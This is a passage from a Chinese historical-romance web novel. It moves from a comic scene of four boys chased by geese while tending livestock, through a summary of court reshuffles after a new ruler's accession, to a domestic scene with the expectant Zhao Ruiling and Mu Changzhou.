虞凌这才来得及把自己想说的话说完,“我没失落啊,为什么我也要养这些东西?” 他是想过跟着阿耶学养狼,可狼跟这些……完全是两码事,起码狼粪不这么恶心~呕~ 陈小六是最想哭的那个,他别说失落了,他这完全就是无妄之灾啊! 穆嘉誉气得小脸通红:“凭什么她让我们养我们就要养!” 于旻小心翼翼避开大鹅,“……因为府里阿嫂说了算?” “胡说!我阿耶最厉害!”穆嘉誉气得用力一脚踢出去! 于旻:“可你阿耶不也听我阿嫂的吗?” 穆嘉誉:“……呕!”他不是想吐,他是怄火,所以他又踢了一脚,踢起来的小石子正好打在了大鹅身上。 原本换了地方就有些焦躁不安的大鹅,立马嘎嘎嘎叫起来,被攻击了诶,这能忍? 它们立刻扑棱着翅膀就冲了过来。 于旻嗷嗷叫着开始跑,下一刻,陈小六也哭丧着脸跟上了,虞凌见二人如此,直觉不妙,立马跟俩人学。 只有穆嘉誉从来没见识过大鹅的威力,慢了一步—— “啊啊啊!你放肆……放嘴啊啊啊啊!” “嗷!别叨我别叨我,我是无辜的!” “嘶……你给我松嘴,不然我要下狠手了,我真要下狠手了!” “阿耶救命啊啊啊啊!” …… 陈尽然带着几个护卫,掏了掏耳朵,完全当没听见里头的呼喊,包括儿子撕心裂肺的求救,还跟同僚看起热闹来。 “跑快点,往左往左啊!” “抓它脖子,一招制敌,老覃怎么教得你们啊!” “哦豁!叨脸上了,这金疮药有点不大够用哈哈哈……” …… 四个小郎:“……”如果能打得过这些人,他们一定要把这群人弄进来怼到大鹅面前不可,太气人了! 穆嘉誉和于旻也顾不上失落了,时不时窜到他们脸上的鸡,还有噗嗤噗嗤贡献臭气的猪,以及比武师傅还要让人崩溃的大鹅,让他们每一刻都在煎熬中后悔。 他们失落个屁啊! 有什么疾苦能顶得上现在?先前没人管他们那都是神仙日子啊啊啊! 醇国公府内鸡飞狗跳的日子里,府外也没闲着。 新君继位,虽说经历了一场战乱,可也不算闹大,并没有造成很大的损失,很快各家的悲欢离愁就重新装点出了繁华的圣都。 杨家到底被判了全族流放之刑,除外嫁女之外,杨氏一族全都被流放西南。 太傅韩延年顶替了中书侍郎之职,而原本的太子太师袁修永则顶替了太傅一职。 原本只有袁大郎一人在圣都为官,门庭已经开始冷落的袁氏,瞬间又追上了程氏,成为圣都最炙手可热的清流世家。 而英国公府身为太后的母家,虽说谢正阳先前效忠先圣,到底明面上先圣并无过错,太后也没罚他。 但在太后召见过谢正阳后,没过多久,谢斐就接了英国公的爵位。 至于谢承阳,因为其妻杨氏,被剥了刑部侍郎的差事,只任了个鸿胪寺的闲职,却又由谢景阳接任了刑部的职务。 而谢四娘则被赐婚去了西南,成了新任督军的夫人,与大房嫡出的二娘所嫁将军互相牵制。 如此英国公府在圣都也算是从微妙的处境中缓下了一口气,继续体体面面地成为宫里的座上宾。 可勋贵们就比不得英国公府了。 宗正被以年纪过大的原因被迫致仕,换上了亲厚太后一脉的宗亲。 谢闵身为长公主府的外孙,长平郡主之子,代替原本的勋贵,接任了羽林卫大将军一职。 等到了盛夏时候,还能站在朝堂上的勋贵已经不多了,多都是出身寒门的新贵和原本就效忠太后的,以及跟谢氏沾亲带故的大臣。 “如此圣都就算是稳定下来了吧?西北那边如何?我生了你就要走了吗?”赵瑞灵扶着比西瓜还大的肚子,吃着穆嘉誉和于旻给她剥的葡萄,跟穆长舟小声议论。 虞凌和陈小六在一旁给她打扇子,几个孩子现在要多乖有多乖,只要现在不让他们去铲鸡屎和猪粪,就是让他们天天奶孩子他们都要一蹦三尺高。 穆长舟摇摇头:“还未必,西戎王已经在圣都为质,西戎一时半会儿掀不起风浪来,我回不回去暂时不要紧。” 守着几个孩子,他没说太多。 圣都如今看似平静,那是因为新圣还小,勋贵和宗亲们也只能蛰伏。 西北那边太后一直插不上手,刚派过去的人也得需要时间才能站稳脚跟,这时候太后不可能让他回去。 说不定过个一两年也有可能。 而且一旦新圣到了能亲政的年纪,圣都这摊浑水还有的是波涛汹涌的时候。 赵瑞灵难得猜出了穆长舟在想什么,下意识握住他的手,扫了眼积极围绕在他们身边的四个孩子,冲穆长舟笑得灿烂。 “那你就多陪陪我,以后的事情,交给孩子们就是了。” 虞栋本来还纠结着想问他阿耶什么时候回来,一听这话,啥也顾不上了,四个孩子脸上都露出了同款的惊悚。 交给他们什么? “我们一点也不失落,我们可喜欢弟弟妹 妹了!”穆嘉誉迫不及待道。 于旻紧跟其后:“我还要带着侄子侄女进学,阿嫂不要太信任我啊啊啊!” 虞凌:“我要教孩子习武,没时间干别的!” 陈小六:“我,我我要保护小主子啊啊啊!” 穆长舟看他们这迫不及待往外扔锅的模样,跟得意洋洋的赵瑞灵对视一眼,蓦地也笑了。 他慢慢握住赵瑞灵已经胖出肉坑的小手晃了晃。 娘子说得对,只要有娘子陪着他,不急,一切都可以交给时间。